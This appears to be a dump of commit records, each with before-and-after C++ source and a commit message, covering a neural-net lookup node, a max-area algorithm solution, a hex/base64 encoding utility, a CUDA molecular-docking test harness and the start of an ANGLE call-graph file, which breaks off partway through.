params->values[i].v, fx.d.batch_size() * sizeof(float));\n#endif\n    }\n    fx.vec() *= global_weight_decay.CurrentWeightDecay();\n  }\n}\n\nvoid LookupNode::backward_impl(const vector<const Tensor*>& xs,\n                            const Tensor& fx,\n                            const Tensor& dEdf,\n                            unsigned i,\n                            Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nvoid LookupNode::accumulate_grad(const Tensor& g) {\n  if(pindex) {\n    params->accumulate_grad(*pindex, g);\n  } else {\n    assert (pindices);\n    const vector<Tensor>& gb = g.batch_elems();\n    for (unsigned b = 0; b < pindices->size(); ++b) {\n      unsigned i = pindices->at(b);\n      assert (i < params->values.size());\n      params->accumulate_grad(i, gb[b]);\n    }\n  }\n}\n\n} \/\/ namespace cnn\n<|endoftext|>"}
{"text":"<commit_before>class Solution {\npublic:\n    \/**\n     * @param heights: a vector of integers\n     * @return: an integer\n     *\/\n    int maxArea(vector<int> &heights) {\n        \/\/ write your code here\n    }\n};\n\nclass Solution {\npublic:\n    int maxArea(vector<int> &height) {\n        int max = 0, area;\n        int start = 0, end = height.size() - 1;\n        while (start < end) {\n            if (height[start] > height[end]) {\n                area = height[end] * (end - start);\n                end --;\n            } else {\n                area = height[start] * (end - start);\n                start ++;\n            }\n            if (area > max) {\n                max = area;\n            }\n        }\n        return max;\n    }\n};<commit_msg>testing 383<commit_after>\n\nclass Solution {\npublic:\n    \/**\n     * @param heights: a vector of integers\n     * @return: an integer\n     *\/\n    int maxArea(vector<int> &height) {\n        int max = 0, area;\n        int start = 0, end = height.size() - 1;\n        while (start < end) {\n            if (height[start] > height[end]) {\n                area = height[end] * (end - start);\n                end --;\n            } else {\n                area = height[start] * (end - start);\n                start ++;\n            }\n            if (area > max) {\n                max = area;\n            }\n        }\n        return max;\n    }\n};<|endoftext|>"}
{"text":"<commit_before><commit_msg>画像のロードをボディリスト構築後に実施するように修正<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>-Werror,-Wshift-sign-overflow<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>no message<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Update checkpoints.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Checkpoint at first 25-btc-reward block (210,000)<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * File: string_encode.cpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2015 Thomas Sanchez.  All rights reserved.\n *\n *\/\n#include \"commonpp\/core\/string\/encode.hpp\"\n\n#include <cstdlib>\n\n#include <boost\/archive\/iterators\/base64_from_binary.hpp>\n#include <boost\/archive\/iterators\/binary_from_base64.hpp>\n#include <boost\/archive\/iterators\/transform_width.hpp>\n\nnamespace commonpp\n{\nnamespace string\n{\n\nstatic const char* HEXTABLE[256] = {\n    \"00\", \"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"0a\", \"0b\",\n    \"0c\", \"0d\", \"0e\", \"0f\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\",\n    \"18\", \"19\", \"1a\", \"1b\", \"1c\", \"1d\", \"1e\", \"1f\", \"20\", \"21\", \"22\", \"23\",\n    \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"2a\", \"2b\", \"2c\", \"2d\", \"2e\", \"2f\",\n    \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"3a\", \"3b\",\n    \"3c\", \"3d\", \"3e\", \"3f\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\",\n    \"48\", \"49\", \"4a\", \"4b\", \"4c\", \"4d\", \"4e\", \"4f\", \"50\", \"51\", \"52\", \"53\",\n    \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"5a\", \"5b\", \"5c\", \"5d\", \"5e\", \"5f\",\n    \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"6a\", \"6b\",\n    \"6c\", \"6d\", \"6e\", \"6f\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\",\n    \"78\", \"79\", \"7a\", \"7b\", \"7c\", \"7d\", \"7e\", \"7f\", \"80\", \"81\", \"82\", \"83\",\n    \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"8a\", \"8b\", \"8c\", \"8d\", \"8e\", \"8f\",\n    \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"9a\", \"9b\",\n    \"9c\", \"9d\", \"9e\", \"9f\", \"a0\", \"a1\", \"a2\", \"a3\", \"a4\", \"a5\", \"a6\", \"a7\",\n    \"a8\", \"a9\", \"aa\", \"ab\", \"ac\", \"ad\", \"ae\", \"af\", \"b0\", \"b1\", \"b2\", \"b3\",\n    \"b4\", \"b5\", \"b6\", \"b7\", \"b8\", \"b9\", \"ba\", \"bb\", \"bc\", \"bd\", \"be\", \"bf\",\n    \"c0\", \"c1\", \"c2\", \"c3\", \"c4\", \"c5\", \"c6\", \"c7\", \"c8\", \"c9\", \"ca\", \"cb\",\n    \"cc\", \"cd\", \"ce\", \"cf\", \"d0\", \"d1\", \"d2\", \"d3\", \"d4\", \"d5\", \"d6\", \"d7\",\n    \"d8\", \"d9\", \"da\", \"db\", \"dc\", \"dd\", \"de\", \"df\", \"e0\", \"e1\", \"e2\", \"e3\",\n    \"e4\", \"e5\", \"e6\", \"e7\", \"e8\", \"e9\", \"ea\", \"eb\", \"ec\", \"ed\", \"ee\", \"ef\",\n    \"f0\", \"f1\", \"f2\", \"f3\", \"f4\", \"f5\", \"f6\", \"f7\", \"f8\", \"f9\", \"fa\", \"fb\",\n    \"fc\", \"fd\", \"fe\", \"ff\",\n};\n\nstd::string hex_encode(const uint8_t* it, const uint8_t* end)\n{\n    std::string str;\n    str.reserve((end - it) * 2);\n    for(; it != end; ++it)\n    {\n        str += HEXTABLE[*it];\n    }\n\n    return str;\n}\n\nstd::vector<uint8_t> hex_decode(const char* it, const char* end)\n{\n    std::vector<uint8_t> result;\n    auto size = std::distance(it, end);\n\n    if (size % 2 != 0)\n    {\n        throw std::invalid_argument(\n            \"the distance between the two iterators must be even\");\n    }\n\n    result.reserve(size \/ 2);\n    char tmp[3] = {0, 0, 0};\n    for (; it != end;)\n    {\n        tmp[0] = *it++;\n        tmp[1] = *it++;\n        auto val = std::strtoul(tmp, nullptr, 16);\n        uint8_t* data = reinterpret_cast<uint8_t*>(&val);\n        result.emplace_back(data[0]);\n    }\n\n    return result;\n}\n\nnamespace bai = boost::archive::iterators;\n\n\/\/ inspiration from here: http:\/\/stackoverflow.com\/a\/16775827\nstd::string base64_encode(const uint8_t* it, const uint8_t* end) \n{\n    static const char* padding[] = {\"\", \"==\", \"=\"};\n\n    using encoder =\n        bai::base64_from_binary<bai::transform_width<const char*, 6, 8>>;\n\n    std::string result;\n    std::copy(encoder(it), encoder(end), std::back_inserter(result));\n\n    result += padding[std::distance(it, end) % 3];\n\n    return result;\n}\n\nstd::vector<uint8_t> base64_decode(const char* begin, const char* end)\n{\n    std::vector<uint8_t> result;\n\n    using decoder =\n        bai::transform_width<bai::binary_from_base64<const char*>, 8, 6>;\n\n    auto size = std::distance(begin, end);\n\n    if (!size)\n    {\n        return result;\n    }\n\n    if (begin[size - 1] == '=')\n    {\n        --size;\n        if (size && begin[size - 1] == '=')\n        {\n            --size;\n        }\n    }\n\n    std::copy(decoder(begin), decoder(begin + size), std::back_inserter(result));\n\n    return result;\n}\n\n} \/\/ namespace string\n} \/\/ namespace commonpp\n\n<commit_msg>Add missing include<commit_after>\/*\n * File: string_encode.cpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2015 Thomas Sanchez.  All rights reserved.\n *\n *\/\n#include \"commonpp\/core\/string\/encode.hpp\"\n\n#include <cstdlib>\n#include <stdexcept>\n\n#include <boost\/archive\/iterators\/base64_from_binary.hpp>\n#include <boost\/archive\/iterators\/binary_from_base64.hpp>\n#include <boost\/archive\/iterators\/transform_width.hpp>\n\nnamespace commonpp\n{\nnamespace string\n{\n\nstatic const char* HEXTABLE[256] = {\n    \"00\", \"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"0a\", \"0b\",\n    \"0c\", \"0d\", \"0e\", \"0f\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\",\n    \"18\", \"19\", \"1a\", \"1b\", \"1c\", \"1d\", \"1e\", \"1f\", \"20\", \"21\", \"22\", \"23\",\n    \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"2a\", \"2b\", \"2c\", \"2d\", \"2e\", \"2f\",\n    \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"3a\", \"3b\",\n    \"3c\", \"3d\", \"3e\", \"3f\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\",\n    \"48\", \"49\", \"4a\", \"4b\", \"4c\", \"4d\", \"4e\", \"4f\", \"50\", \"51\", \"52\", \"53\",\n    \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"5a\", \"5b\", \"5c\", \"5d\", \"5e\", \"5f\",\n    \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"6a\", \"6b\",\n    \"6c\", \"6d\", \"6e\", \"6f\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\",\n    \"78\", \"79\", \"7a\", \"7b\", \"7c\", \"7d\", \"7e\", \"7f\", \"80\", \"81\", \"82\", \"83\",\n    \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"8a\", \"8b\", \"8c\", \"8d\", \"8e\", \"8f\",\n    \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"9a\", \"9b\",\n    \"9c\", \"9d\", \"9e\", \"9f\", \"a0\", \"a1\", \"a2\", \"a3\", \"a4\", \"a5\", \"a6\", \"a7\",\n    \"a8\", \"a9\", \"aa\", \"ab\", \"ac\", \"ad\", \"ae\", \"af\", \"b0\", \"b1\", \"b2\", \"b3\",\n    \"b4\", \"b5\", \"b6\", \"b7\", \"b8\", \"b9\", \"ba\", \"bb\", \"bc\", \"bd\", \"be\", \"bf\",\n    \"c0\", \"c1\", \"c2\", \"c3\", \"c4\", \"c5\", \"c6\", \"c7\", \"c8\", \"c9\", \"ca\", \"cb\",\n    \"cc\", \"cd\", \"ce\", \"cf\", \"d0\", \"d1\", \"d2\", \"d3\", \"d4\", \"d5\", \"d6\", \"d7\",\n    \"d8\", \"d9\", \"da\", \"db\", \"dc\", \"dd\", \"de\", \"df\", \"e0\", \"e1\", \"e2\", \"e3\",\n    \"e4\", \"e5\", \"e6\", \"e7\", \"e8\", \"e9\", \"ea\", \"eb\", \"ec\", \"ed\", \"ee\", \"ef\",\n    \"f0\", \"f1\", \"f2\", \"f3\", \"f4\", \"f5\", \"f6\", \"f7\", \"f8\", \"f9\", \"fa\", \"fb\",\n    \"fc\", \"fd\", \"fe\", \"ff\",\n};\n\nstd::string hex_encode(const uint8_t* it, const uint8_t* end)\n{\n    std::string str;\n    str.reserve((end - it) * 2);\n    for(; it != end; ++it)\n    {\n        str += HEXTABLE[*it];\n    }\n\n    return str;\n}\n\nstd::vector<uint8_t> hex_decode(const char* it, const char* end)\n{\n    std::vector<uint8_t> result;\n    auto size = std::distance(it, end);\n\n    if (size % 2 != 0)\n    {\n        throw std::invalid_argument(\n            \"the distance between the two iterators must be even\");\n    }\n\n    result.reserve(size \/ 2);\n    char tmp[3] = {0, 0, 0};\n    for (; it != end;)\n    {\n        tmp[0] = *it++;\n        tmp[1] = *it++;\n        auto val = std::strtoul(tmp, nullptr, 16);\n        uint8_t* data = reinterpret_cast<uint8_t*>(&val);\n        result.emplace_back(data[0]);\n    }\n\n    return result;\n}\n\nnamespace bai = boost::archive::iterators;\n\n\/\/ inspiration from here: http:\/\/stackoverflow.com\/a\/16775827\nstd::string base64_encode(const uint8_t* it, const uint8_t* end) \n{\n    static const char* padding[] = {\"\", \"==\", \"=\"};\n\n    using encoder =\n        bai::base64_from_binary<bai::transform_width<const char*, 6, 8>>;\n\n    std::string result;\n    std::copy(encoder(it), encoder(end), std::back_inserter(result));\n\n    result += padding[std::distance(it, end) % 3];\n\n    return result;\n}\n\nstd::vector<uint8_t> base64_decode(const char* begin, const char* end)\n{\n    std::vector<uint8_t> result;\n\n    using decoder =\n        bai::transform_width<bai::binary_from_base64<const char*>, 8, 6>;\n\n    auto size = std::distance(begin, end);\n\n    if (!size)\n    {\n        return result;\n    }\n\n    if (begin[size - 1] == '=')\n    {\n        --size;\n        if (size && begin[size - 1] == '=')\n        {\n            --size;\n        }\n    }\n\n    std::copy(decoder(begin), decoder(begin + size), std::back_inserter(result));\n\n    return result;\n}\n\n} \/\/ namespace string\n} \/\/ namespace commonpp\n\n<|endoftext|>"}
{"text":"<commit_before>#include <cuda_runtime.h>\n#include <stdio.h>\n#include <boost\/program_options.hpp>\n#include <cmath>\n#include <random>\n#include \"common.h\"\n#include \"tee.h\"\n#include \"non_cache.h\"\n#include \"non_cache_gpu.h\"\n#include \"model.h\"\n#include \"curl.h\"\n#include \"weighted_terms.h\"\n#include \"custom_terms.h\"\n#include \"precalculate_gpu.h\"\n#include \"gpucode.h\"\n\n\/\/TODO: logging, user-provided random seed\n\nvoid make_mol(std::vector<atom_params>& atoms, std::vector<smt>& types, \n             std::mt19937 engine,\n             size_t natoms=0, size_t min_atoms=1, size_t max_atoms=200, \n             float max_x=25, float max_y=25, float max_z=25) {\n\n    if (!natoms) {\n    \/\/if not provided, randomly generate the number of atoms\n        std::uniform_int_distribution<int> natoms_dist(min_atoms, max_atoms+1);\n        natoms = natoms_dist(engine);\n    }\n\n    \/\/randomly seed reasonable-ish coordinates and types\n    \/\/TODO: get charge from type?\n    std::uniform_real_distribution<float> coords_dists[3];\n    coords_dists[0] = std::uniform_real_distribution<float>(-25, std::nextafter(max_x, FLT_MAX));\n    coords_dists[1] = std::uniform_real_distribution<float>(-25, std::nextafter(max_y, FLT_MAX));\n    coords_dists[2] = std::uniform_real_distribution<float>(-25, std::nextafter(max_z, FLT_MAX));\n    std::uniform_int_distribution<int> charge_dist(-2, 3);\n    std::uniform_int_distribution<int> type_dist(0, smina_atom_type::NumTypes-1);\n\n    \/\/set up vector of atoms as well as types\n    for (size_t i=0; i<natoms; ++i) {\n        atom_params atom;\n        atom.charge = charge_dist(engine);\n        for (size_t j=0; j<3; ++j) \n            atom.coords[j] = coords_dists[j](engine);\n        atoms.push_back(atom);\n        atoms[i].charge = charge_dist(engine);\n        types.push_back(static_cast<smt>(type_dist(engine)));\n    }\n}\n\nint main() {\n    \/\/TODO: include progress bar?\n    \/\/set up program options\n    std::string logname(\"log.test\");\n    auto seed = std::random_device()();\n    namespace po = boost::program_options;\n    po::options_description inputs(\"Input\");\n    inputs.add_options()\n        (\"seed,s\", po::value<unsigned>(&seed), \"seed for random number generator\")\n        (\"log\", po::value<std::string>(&logname), \"specify logfile, default is log.test\");\n    po::options_description desc, desc_simple;\n    desc.add(inputs);\n    desc_simple.add(inputs);\n\n    seed = 0;\n    \/\/set up c++11 random number engine\n    std::mt19937 engine(seed);\n\n    \/\/set up logging\n    bool quiet = true;\n    tee log(quiet);\n    log.init(logname);\n    \/\/ log << \"test\" << \"\\n\";\n\n    \/\/set up scoring function\n    custom_terms t;\n\tt.add(\"gauss(o=0,_w=0.5,_c=8)\", -0.035579);\n\tt.add(\"gauss(o=3,_w=2,_c=8)\", -0.005156);\n\tt.add(\"repulsion(o=0,_c=8)\", 0.840245);\n\tt.add(\"hydrophobic(g=0.5,_b=1.5,_c=8)\", -0.035069);\n\tt.add(\"non_dir_h_bond(g=-0.7,_b=0,_c=8)\", -0.587439);\n\tt.add(\"num_tors_div\", 5 * 0.05846 \/ 0.1 - 1);\n\n    \/\/set up a bunch of constants\n    const fl approx_factor = 10;\n    const fl granularity = 0.375;\n    const vec v = vec(10, 10, 10);\n    const fl slope = 10;\n\n    weighted_terms wt(&t, t.weights());\n\n    \/\/set up splines\n    const precalculate_gpu* gprec = new precalculate_gpu(wt, approx_factor);\n    const precalculate_splines* prec = new precalculate_splines(wt, approx_factor);\n\n    \/\/set up fake lig and rec for testing\n    std::vector<atom_params> lig_atoms;\n    std::vector<smt> lig_types;\n    fl max_x = -HUGE_VALF, max_y = -HUGE_VALF, max_z = -HUGE_VALF;\n    fl min_x = HUGE_VALF, min_y = HUGE_VALF, min_z = HUGE_VALF;\n    make_mol(lig_atoms, lig_types, engine);\n\n    \/\/set up grid\n    for (auto& atom : lig_atoms) {\n        min_x = std::min(min_x, atom.coords[0]);\n        min_y = std::min(min_y, atom.coords[1]);\n        min_z = std::min(min_z, atom.coords[2]);\n        max_x = std::max(max_x, atom.coords[0]);\n        max_y = std::max(max_y, atom.coords[1]);\n        max_z = std::max(max_z, atom.coords[2]);\n    }\n\n    fl center_x = (max_x + min_x) \/ 2.0;\n    fl center_y = (max_y + min_y) \/ 2.0;\n    fl center_z = (max_z + min_z) \/ 2.0;\n    fl size_x = max_x - min_x;\n    fl size_y = max_y - min_y;\n    fl size_z = max_z - min_z;\n\n    vec span(size_x, size_y, size_z);\n    vec center(center_x, center_y, center_z);\n    grid_dims gd;\n\n    for (size_t i; i < 3; ++i) {\n        gd[i].n = sz(std::ceil(span[i] \/ granularity));\n        fl real_span = granularity * gd[i].n;\n        gd[i].begin = center[i] - real_span \/ 2;\n        gd[i].end = gd[i].begin + real_span;\n    }\n\n    \/\/make rec\n    std::vector<atom_params> rec_atoms;\n    std::vector<smt> rec_types;\n    const float cutoff_sqr = prec->cutoff_sqr();\n    const float cutoff = std::sqrt(cutoff_sqr);\n    make_mol(rec_atoms, rec_types, engine, 0, 10, 2500, max_x + cutoff, max_y + \n            cutoff, max_z + cutoff);\n\n    \/\/manually initialize model object\n    model* m = new model;\n    m->m_num_movable_atoms = lig_atoms.size();\n    m->minus_forces = std::vector<vec>(m->m_num_movable_atoms);\n\n    for (size_t i=0; i <lig_atoms.size(); ++i) {\n        m->coords.push_back(*(vec*)&lig_atoms[i]);\n        m->atoms.push_back(atom());\n        m->atoms[i].sm = lig_types[i];\n        m->atoms[i].charge = lig_atoms[i].charge;\n        m->atoms[i].coords = *(vec*)&lig_atoms[i];\n    }\n\n    for (size_t i=0; i<rec_atoms.size(); ++i) {\n        m->grid_atoms.push_back(atom());\n        m->grid_atoms[i].sm = rec_types[i];\n        m->grid_atoms[i].charge = rec_atoms[i].charge;\n        m->grid_atoms[i].coords = *(vec*)&rec_atoms[i];\n    }\n\n    szv_grid_cache gridcache(*m, cutoff_sqr);\n    non_cache* nc = new non_cache(gridcache, gd, prec);\n    non_cache_gpu* nc_gpu = new non_cache_gpu(gridcache, gd, gprec, slope);\n    m->initialize_gpu();\n    grid user_grid;\n    gpu_data& gdat = m->gdata;\n    cudaMemset(gdat.minus_forces, 0, m->minus_forces.size()*sizeof(decltype(gdat.minus_forces[0])));\n\n    \/\/get intermolecular energy, check agreement\n    float g_out = single_point_calc(nc_gpu->info, gdat.coords, gdat.minus_forces, v[0]);\n    float c_out = nc->eval_deriv(*m, v[0], user_grid);\n\n    std::cout << g_out << \"\\n\";\n    std::cout << c_out << \"\\n\";\n\n    m->deallocate_gpu();\n    delete gprec;\n    delete prec;\n    delete nc;\n    delete nc_gpu;\n    delete m;\n}\n<commit_msg>commandline args work but the program doesn't<commit_after>#include <cuda_runtime.h>\n#include <stdio.h>\n#include <boost\/program_options.hpp>\n#include <cmath>\n#include <random>\n#include \"common.h\"\n#include \"tee.h\"\n#include \"non_cache.h\"\n#include \"non_cache_gpu.h\"\n#include \"model.h\"\n#include \"curl.h\"\n#include \"weighted_terms.h\"\n#include \"custom_terms.h\"\n#include \"precalculate_gpu.h\"\n#include \"gpucode.h\"\n\n\/\/TODO: logging, user-provided random seed\n\nvoid make_mol(std::vector<atom_params>& atoms, std::vector<smt>& types, \n             std::mt19937 engine,\n             size_t natoms=0, size_t min_atoms=1, size_t max_atoms=200, \n             float max_x=25, float max_y=25, float max_z=25) {\n\n    if (!natoms) {\n    \/\/if not provided, randomly generate the number of atoms\n        std::uniform_int_distribution<int> natoms_dist(min_atoms, max_atoms+1);\n        natoms = natoms_dist(engine);\n    }\n\n    \/\/randomly seed reasonable-ish coordinates and types\n    \/\/TODO: get charge from type?\n    std::uniform_real_distribution<float> coords_dists[3];\n    coords_dists[0] = std::uniform_real_distribution<float>(-25, std::nextafter(max_x, FLT_MAX));\n    coords_dists[1] = std::uniform_real_distribution<float>(-25, std::nextafter(max_y, FLT_MAX));\n    coords_dists[2] = std::uniform_real_distribution<float>(-25, std::nextafter(max_z, FLT_MAX));\n    std::uniform_int_distribution<int> charge_dist(-2, 3);\n    std::uniform_int_distribution<int> type_dist(0, smina_atom_type::NumTypes-1);\n\n    \/\/set up vector of atoms as well as types\n    for (size_t i=0; i<natoms; ++i) {\n        atom_params atom;\n        atom.charge = charge_dist(engine);\n        for (size_t j=0; j<3; ++j) \n            atom.coords[j] = coords_dists[j](engine);\n        atoms.push_back(atom);\n        atoms[i].charge = charge_dist(engine);\n        types.push_back(static_cast<smt>(type_dist(engine)));\n    }\n}\n\nint main(int argc, char* argv[]) {\n    \/\/TODO: include progress bar?\n    \/\/set up program options\n    std::string logname;\n    unsigned seed;\n    namespace po = boost::program_options;\n\tpo::positional_options_description positional; \/\/ remains empty\n    po::options_description inputs(\"Input\");\n    inputs.add_options()\n        (\"seed,s\", po::value<unsigned>(&seed), \"seed for random number generator\")\n        (\"log\", po::value<std::string>(&logname), \"specify logfile, default is test.log\");\n    po::options_description desc, desc_simple;\n    desc.add(inputs);\n    desc_simple.add(inputs);\n    po::variables_map vm;\n    try\n    {\n        po::store(\n                po::command_line_parser(argc, argv).options(desc)\n                .style(\n                    po::command_line_style::default_style\n                    ^ po::command_line_style::allow_guessing)\n                .positional(positional).run(), vm);\n        notify(vm);\n    } catch (po::error& e)\n    {\n\t\tstd::cerr << \"Command line parse error: \" << e.what() << '\\n'\n\t\t\t\t<< \"\\nCorrect usage:\\n\" << desc_simple << '\\n';\n\t\treturn 1;\n\t}\n    if (!vm.count(\"seed\"))\n        seed = std::random_device()();\n    if (!vm.count(\"logname\"))\n        logname = \"test.log\";\n    \/\/set up c++11 random number engine\n    std::mt19937 engine(seed);\n\n    \/\/set up logging\n    bool quiet = true;\n    tee log(quiet);\n    log.init(logname);\n    \/\/ log << \"test\" << \"\\n\";\n\n    \/\/set up scoring function\n    custom_terms t;\n\tt.add(\"gauss(o=0,_w=0.5,_c=8)\", -0.035579);\n\tt.add(\"gauss(o=3,_w=2,_c=8)\", -0.005156);\n\tt.add(\"repulsion(o=0,_c=8)\", 0.840245);\n\tt.add(\"hydrophobic(g=0.5,_b=1.5,_c=8)\", -0.035069);\n\tt.add(\"non_dir_h_bond(g=-0.7,_b=0,_c=8)\", -0.587439);\n\tt.add(\"num_tors_div\", 5 * 0.05846 \/ 0.1 - 1);\n\n    \/\/set up a bunch of constants\n    const fl approx_factor = 10;\n    const fl granularity = 0.375;\n    const vec v = vec(10, 10, 10);\n    const fl slope = 10;\n\n    weighted_terms wt(&t, t.weights());\n\n    \/\/set up splines\n    const precalculate_gpu* gprec = new precalculate_gpu(wt, approx_factor);\n    const precalculate_splines* prec = new precalculate_splines(wt, approx_factor);\n\n    \/\/set up fake lig and rec for testing\n    std::vector<atom_params> lig_atoms;\n    std::vector<smt> lig_types;\n    fl max_x = -HUGE_VALF, max_y = -HUGE_VALF, max_z = -HUGE_VALF;\n    fl min_x = HUGE_VALF, min_y = HUGE_VALF, min_z = HUGE_VALF;\n    make_mol(lig_atoms, lig_types, engine);\n\n    \/\/set up grid\n    for (auto& atom : lig_atoms) {\n        min_x = std::min(min_x, atom.coords[0]);\n        min_y = std::min(min_y, atom.coords[1]);\n        min_z = std::min(min_z, atom.coords[2]);\n        max_x = std::max(max_x, atom.coords[0]);\n        max_y = std::max(max_y, atom.coords[1]);\n        max_z = std::max(max_z, atom.coords[2]);\n    }\n\n    fl center_x = (max_x + min_x) \/ 2.0;\n    fl center_y = (max_y + min_y) \/ 2.0;\n    fl center_z = (max_z + min_z) \/ 2.0;\n    fl size_x = max_x - min_x;\n    fl size_y = max_y - min_y;\n    fl size_z = max_z - min_z;\n\n    vec span(size_x, size_y, size_z);\n    vec center(center_x, center_y, center_z);\n    grid_dims gd;\n\n    for (size_t i; i < 3; ++i) {\n        gd[i].n = sz(std::ceil(span[i] \/ granularity));\n        fl real_span = granularity * gd[i].n;\n        gd[i].begin = center[i] - real_span \/ 2;\n        gd[i].end = gd[i].begin + real_span;\n    }\n\n    \/\/make rec\n    std::vector<atom_params> rec_atoms;\n    std::vector<smt> rec_types;\n    const float cutoff_sqr = prec->cutoff_sqr();\n    const float cutoff = std::sqrt(cutoff_sqr);\n    make_mol(rec_atoms, rec_types, engine, 0, 10, 2500, max_x + cutoff, max_y + \n            cutoff, max_z + cutoff);\n\n    \/\/manually initialize model object\n    model* m = new model;\n    m->m_num_movable_atoms = lig_atoms.size();\n    m->minus_forces = std::vector<vec>(m->m_num_movable_atoms);\n\n    for (size_t i=0; i <lig_atoms.size(); ++i) {\n        m->coords.push_back(*(vec*)&lig_atoms[i]);\n        m->atoms.push_back(atom());\n        m->atoms[i].sm = lig_types[i];\n        m->atoms[i].charge = lig_atoms[i].charge;\n        m->atoms[i].coords = *(vec*)&lig_atoms[i];\n    }\n\n    for (size_t i=0; i<rec_atoms.size(); ++i) {\n        m->grid_atoms.push_back(atom());\n        m->grid_atoms[i].sm = rec_types[i];\n        m->grid_atoms[i].charge = rec_atoms[i].charge;\n        m->grid_atoms[i].coords = *(vec*)&rec_atoms[i];\n    }\n\n    szv_grid_cache gridcache(*m, cutoff_sqr);\n    non_cache* nc = new non_cache(gridcache, gd, prec);\n    non_cache_gpu* nc_gpu = new non_cache_gpu(gridcache, gd, gprec, slope);\n    m->initialize_gpu();\n    grid user_grid;\n    gpu_data& gdat = m->gdata;\n    cudaMemset(gdat.minus_forces, 0, m->minus_forces.size()*sizeof(decltype(gdat.minus_forces[0])));\n\n    \/\/get intermolecular energy, check agreement\n    float g_out = single_point_calc(nc_gpu->info, gdat.coords, gdat.minus_forces, v[0]);\n    float c_out = nc->eval_deriv(*m, v[0], user_grid);\n\n    std::cout << g_out << \"\\n\";\n    std::cout << c_out << \"\\n\";\n\n    m->deallocate_gpu();\n    delete gprec;\n    delete prec;\n    delete nc;\n    delete nc_gpu;\n    delete m;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2002-2015 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ CallDAG.h: Implements a call graph DAG of functions to be re-used accross\n\/\/ analyses, allows to efficiently traverse the functions in topological\n\/\/ order.\n\n#include \"compiler\/translator\/CallDAG.h\"\n#include \"compiler\/translator\/InfoSink.h\"\n\n\/\/ The CallDAGCreator does all the processing required to create the CallDAG\n\/\/ structure so that the latter contains only the necessary variables.\nclass CallDAG::CallDAGCreator : public TIntermTraverser\n{\n  public:\n    CallDAGCreator(TInfoSinkBase *info)\n        : TIntermTraverser(true, false, true),\n          mCreationInfo(info),\n          mCurrentFunction(nullptr),\n          mCurrentIndex(0)\n    {\n    }\n\n    InitResult assignIndices()\n    {\n        int skipped = 0;\n        for (auto &it : mFunctions)\n        {\n            \/\/ Skip unimplemented functions\n            if (it.second.node)\n            {\n                InitResult result = assignIndicesInternal(&it.second);\n                if (result != INITDAG_SUCCESS)\n                {\n                    return result;\n                }\n            }\n            else\n            {\n                skipped++;\n            }\n        }\n        ASSERT(mFunctions.size() == mCurrentIndex + skipped);\n        return INITDAG_SUCCESS;\n    }\n\n    void fillDataStructures(std::vector<Record> *records, std::map<int, int> *idToIndex)\n    {\n        ASSERT(records->empty());\n        ASSERT(idToIndex->empty());\n\n        records->resize(mCurrentIndex);\n\n        for (auto &it : mFunctions)\n        {\n            CreatorFunctionData &data = it.second;\n            \/\/ Skip unimplemented functions\n            if (!data.node)\n            {\n                continue;\n            }\n            ASSERT(data.index < records->size());\n            Record &record = (*records)[data.index];\n\n            record.name = data.name.data();\n            record.node = data.node;\n\n            record.callees.reserve(data.callees.size());\n            for (auto &callee : data.callees)\n            {\n                record.callees.push_back(static_cast<int>(callee->index));\n            }\n\n            (*idToIndex)[data.node->getFunctionId()] = static_cast<int>(data.index);\n        }\n    }\n\n  private:\n\n    struct CreatorFunctionData\n    {\n        CreatorFunctionData()\n            : node(nullptr),\n              index(0),\n              indexAssigned(false),\n              visiting(false)\n        {\n        }\n\n        std::set<CreatorFunctionData*> callees;\n        TIntermAggregate *node;\n        TString name;\n        size_t index;\n        bool indexAssigned;\n        bool visiting;\n    };\n\n    \/\/ Aggregates the AST node for each function as well as the name of the functions called by it\n    bool visitAggregate(Visit visit, TIntermAggregate *node) override\n    {\n        switch (node->getOp())\n        {\n          case EOpPrototype:\n            if (visit == PreVisit)\n            {\n                \/\/ Function declaration, create an empty record.\n                mFunctions[node->getName()];\n            }\n            break;\n          case EOpFunction:\n            {\n                \/\/ Function definition, create the record if need be and remember the node.\n                if (visit == PreVisit)\n                {\n                    auto it = mFunctions.find(node->getName());\n\n                    if (it == mFunctions.end())\n                    {\n                        mCurrentFunction = 